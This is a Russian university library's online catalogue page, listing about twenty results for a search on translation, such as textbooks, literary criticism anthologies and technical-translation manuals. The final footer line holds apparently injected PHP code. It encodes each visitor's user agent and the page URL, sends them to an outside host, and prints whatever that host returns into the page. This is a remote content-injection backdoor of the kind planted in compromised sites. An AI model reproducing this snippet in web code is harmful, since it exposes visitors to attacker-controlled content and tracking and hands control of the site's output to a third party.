Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

49 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=ПЕРЕВОД")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 917
1. 
Введение в литературоведение. Литературное произведение: основные понятия и термины [Текст] : Учеб. пособие для вузов / Л. В. Чернец, В. Е. Хализев, С. Н. Бройтман и др; Под ред. Л. В. Чернец, 2000. - 555, [1] с.
Держатели документа (Информация об экземплярах) 
2. 
Терминология и перевод в XXI веке [Текст] : Материалы междунар. науч. конф., 26-28 июня 2002 г. / ОмГТУ и др., 2002. - 221 с.
Ключевые слова 
Оглавление 
Держатели документа (Информация об экземплярах) 
Полный текст
3. 
Левик, Вильгельм Вениаминович. Избранные переводы [Текст] : В 2 т. Т. 1, 1977. - 413, [1] с.
Держатели документа (Информация об экземплярах) 
4. 
Левик, Вильгельм Вениаминович. Избранные переводы [Текст] : В 2 т. Т. 2, 1977. - 382, [1] с.
Держатели документа (Информация об экземплярах) 
5. 
Социальная политика в России на пороге XXI века [Текст] : Материалы выступлений на пленар. заседании, секциях и круглых столах, 15 апр. 1999 г. / Моск. гос. соц. ун-т, 1999. - 295 с.
Ключевые слова 
Социальная стратегия -- НАЦИОНАЛЬНАЯ БЕЗОПАСНОСТЬ -- СОЦИАЛЬНОЕ ОБРАЗОВАНИЕ -- ПРИВАТИЗАЦИЯ -- ЮВЕНАЛЬНОЕ ПРАВО -- ИНФОРМАЦИОННАЯ ТЕХНОЛОГИЯ -- СОЦИАЛЬНОЕ ПАРТНЕРСТВО -- ПОЛИТИЧЕСКАЯ ЭЛИТА -- СОЦИАЛЬНАЯ СТРАТИФИКАЦИЯ -- СОЦИОЛОГИЯ -- МИГРАЦИЯ НАСЕЛЕНИЯ -- ТЕОРИЯ СТОИМОСТИ -- СОЦИАЛЬНО-ЭКОНОМИЧЕСКИЙ КРИЗИС -- ИПОТЕЧНОЕ КРЕДИТОВАНИЕ -- БАНКРОТСТВО ПРЕДПРИЯТИЯ -- ИНТЕГРАЦИЯ -- ИННОВАЦИЯ -- ИНФЛЯЦИЯ -- ТРУДОВАЯ МОТИВАЦИЯ -- Потребление -- Государство -- Социальная защита -- ПОЖИЛОЙ ЧЕЛОВЕК -- РЕАБИЛИТАЦИЯ -- Гуманизм -- Образование -- Социальный перевод -- СМИ -- Языковая культура
Держатели документа (Информация об экземплярах) 
6. 
Ткачева, Людмила Борисовна. Перевод английской научно-технической литературы [Текст] : Учеб. пособие для неяз. вузов / Л. Б. Ткачева, Л. К. Кондратюкова, Л. И. Воскресенская, 2003. - 139 с.
Ключевые слова 
Оглавление 
Держатели документа (Информация об экземплярах) 

Учебное пособие предназначено для студентов неязыковых вузов. Цель издания - развитие у студентов навыков перевода оригинальной технической литературы для получения необходимой информации. Пособие снабжено текстами из различных источников и отражает современный уровень развития науки, техники и других видов деятельности. Система упражнений, представленная в данном пособии помогает развивать у студентов навыки перевода основных грамматических конструкций и особенностей способов образования английских терминов в научно-технической литературе.

Полный текст
7. 
Полякова, Татьяна Юрьевна. Достижения науки и техники XX века [Текст] : Учеб. пособие по англ. языку для втузов / Т. Ю. Полякова, Е. В. Синявская, Г. А. Селезнева, 2004. - 280, [7] с.
Держатели документа (Информация об экземплярах) 

Пособие состоит из семи разделов, отражающих общие научно-технические достижения 20 в., а также достижения в области физики, химии, вычислительной техники, экономики, автомобильного транспорта и воздушного транспорта.

Пособие содержит помимо оригинальных текстов задания, определяющие цель чтения, а также обеспечивающие проверку понимания прочитанного, и темы для обсуждения. Ставит целью совершенствование навыков чтения и перевода технической литературы, а также навыков устной речи.

Книга является частью учебно-методического комплекса, включающего также учебник "Английский язык для инженеров" (авторы: Т. Ю. Полякова и др.), аудиокурс к учебнику и две аудиокассеты.

Книга предназначена для студентов и аспирантов технических вузов и широкого круга лиц, читающих техническую литературу на английском языке.

8. 
Техника безопасности в электроустановках до и выше 1000 в [Текст] : Учеб. пособие / ОмГТУ, 2003. - 172 с.
Оглавление 
Держатели документа (Информация об экземплярах) 

Изложены основные сведения о действии <электрического тока> на <организм> <человека>, основные требования к обслуживающему персоналу, порядок организации работ в электроустановках по наряду, распоряжению и порядку текущей эксплуатации.

Приводятся категории электроустановок и помещений в отношении <электробезопасности>.

Полный текст
9. 
Критика первой четверти XIX века [Текст] / Сост.: М. Л. Майофис, А. Р. Курилкин, 2002. - 525 с.
Ключевые слова 
Оглавление 
  • Курилкин, Андрей. Литературная критика Александровского царствования / А. Курилкин, М. Майофис
  • Шишков, Александр Семенович. Рассуждение о старом и новом слоге российского языка / А. С. Шишков. - с.23
  • Макаров, Петр Иванович. Критика на книгу под названием "Рассуждение о старом и новом слоге российского языка" / П. И. Макаров
  • Дашков, Дмитрий Васильевич. Перевод двух статей из Лагарпа с примечаниями переводчика / Д. В. Дашков. - с.73
  • Дашков, Дмитрий Васильевич. Нечто о журналах / Д. В. Дашков. - с.110
  • Жуковский, Василий Андреевич. О басне и баснях Крылова / В. А. Жуковский. - с.122
  • Жуковский, Василий Андреевич. О критике / В. А. Жуковский. - с.141
  • Жуковский, Василий Андреевич. Два разговора о критике / В. А. Жуковский. - с.150
  • Жуковский, Василий Андреевич. О поэзии древних и новых / В. А. Жуковский. - с.158
  • Муравьев-Апостол, Иван Матвеевич. Письма из Москвы в Нижний Новгород (Письмо четвертое) / И. М. Муравьев-Апостол. - с.173
  • Уваров, Сергей Семенович. Письмо к Николаю Ивановичу Гнедичу о греческом экзаметре / С. С. Уваров. - с.184
  • Гнедич, Николай Иванович. <Ответ С. С. Уварову> / Н. И. Гнедич. - с.190
  • Гнедич, Николай Иванович. Рассуждение о причинах, замедляющих успехи нашей словесности / Н. И. Гнедич. - с.193
  • Капнист, Василий Васильевич. Письмо первое к С. С. Уварову о эксаметрах / В. В. Капнист. - с.209
  • Уваров, Сергей Семенович. Ответ В. В. Капнисту на письмо его об экзаметре / С. С. Уваров. - с.221
  • Батюшков, Константин Николаевич. Нечто о поэте и поэзии / К. Н. Батюшков. - с.232
  • Батюшков, Константин Николаевич. О характере Ломоносова / К. Н. Батюшков. - с.239
  • Батюшков, Константин Николаевич. Петрарка / К. Н. Батюшков. - с.244
  • Вяземский, Петр Андреевич. О Державине / П. А. Вяземский. - с.256
  • Вяземский, Петр Андреевич. О жизни и сочинениях В. А. Озерова / П. А. Вяземский. - с.263
  • Гнедич, Николай Иванович. О вольном переводе Бюргеровой баллады "Ленора" / Н. И. Гнедич. - с.290
  • Грибоедов, Александр Сергеевич. О разборе вольного перевода Бюргеровой баллады "Ленора" / ; А. С. Грибоедов. - с.300
  • Батюшков, Константин Николаевич. Речь о влиянии легкой поэзии на язык / К. Н. Батюшков. - с.312
  • Кюхельбекер, Вильгельм Карлович. Взгляд на текущую словесность / В. К. Кюхельбекер. - с.322
  • Карамзин, Николай Михайлович. Речь, произнесенная на торжественном собрании Императорской Российской Академии / Н. М. Карамзин. - с.341
  • Воейков, Александр Федорович. Разбор поэмы "Руслан и Людмила", сочин. Александра Пушкина / А. Ф. Воейков. - с.350
  • Зыков, Дмитрий Петрович. Письмо к сочинителю критики на поэму "Руслан и Людмила" / Д. П. Зыков. - с.393
  • Вяземский, Петр Андреевич. О "Кавказском пленнике", повести соч. А. Пушкина / П. А. Вяземский. - с.396
  • Погодин, Михаил Петрович. О "Кавказском пленнике" / М. П. Погодин. - с.402
  • Бестужев-Марлинский, Александр Александрович. Взгляд на старую и новую словесность в России / ; Бестужев-Марлинский. - с.417
  • Вяземский, Петр Андреевич. Разговор между Издателем и Классиком с Выборгской стороны или с Васильевского острова / П. А. Вяземский. - с.438
  • Дмитриев, Михаил Александрович. Второй разговор между Классиком и Издателем "Бахчисарайского фонтана" / М. А. Дмитриев. - с.444
  • Кюхельбекер, Вильгельм Карлович. О направлении нашей поэзии, особенно лирической, в последнее десятилетие / В. К. Кюхельбекер. - с.452
  • Пушкин, Александр Сергеевич. Письмо к издателю "Сына отечества" / А. С. Пушкин. - с.460
10. 
Гаспаров, Михаил Леонович. О русской поэзии [Текст] : Анализы. Интерпретации. Характеристики / М. Л. Гаспаров, 2001. - 476, [1] с.
11. 
Гуськова Т. И. Трудности перевода общественно-политического текста с английского языка на русский [Текст] : Учеб. пособие для ин-тов и фак. иностр. яз. / Т. И. Гуськова, Г. М. Зиборова, 2000. - 228 с.
Держатели документа (Информация об экземплярах) 
12. 
Кислицина, Галина Афанасьевна. Методические указания по обучению аннотированному и реферативному переводу для студентов старших курсов и слушателей отделения референтов-переводчиков при ФОПе [Текст] / Г. А. Кислицина, 1986. - 32 с.
Держатели документа (Информация об экземплярах) 
13. 
Коржавин, Аркадий Васильевич. Пособие по техническому переводу с французского языка на русский [Текст] : Учеб. пособие для втузов / А. В. Коржавин, 1988. - 191 с.
Держатели документа (Информация об экземплярах) 
14. 
Серова, Тамара Сергеевна. Учебник немецкого языка для электротехнических и энергетических специальностей вузов [Текст] / Т. С. Серова, 1989. - 255 с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
15. 
Пахотина, Валентина Михайловна. Методические указания по переводу немецкой технической литературы [Текст] : (Специальность "Литейное производство") / В. М. Пахотина, В. В. Коршунов, 1982. - 32 с.
Держатели документа (Информация об экземплярах) 
Полный текст
16. 
Перевод немецких патентов [Текст] : Метод. указания / ОмПИ, 1990. - 28 с.
Держатели документа (Информация об экземплярах) 
Полный текст
17. 
Куайн, Уиллард Ван Орман. Слово и объект [Текст] / У. В. О. Куайн; А. З. Черняк, Т. А. Дмитриев, 2000. - 385 с.
Держатели документа (Информация об экземплярах) 
18. 
Искусственный интеллект. В 3 кн. Кн. 1. Системы общения и экспертные системы [Текст] : Справ. / Э. В. Попов, 1990. - 461 с.
Держатели документа (Информация об экземплярах) 
19. 
Шпилев, Петр Иванович. Инговые формы в английском языке, их распознавание и перевод [Текст] : Учеб.-метод. пособие / П. И. Шпилев, 1989. - 120 с.
Держатели документа (Информация об экземплярах) 
20. 
Северцев, Сергей Леонидович. Спелые грозди [Текст] : Избр. пер. / С. Л. Северцев, 1981. - 352 с.
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2877 - 26.04.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 1.70 с.12 запросов, 0.76c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;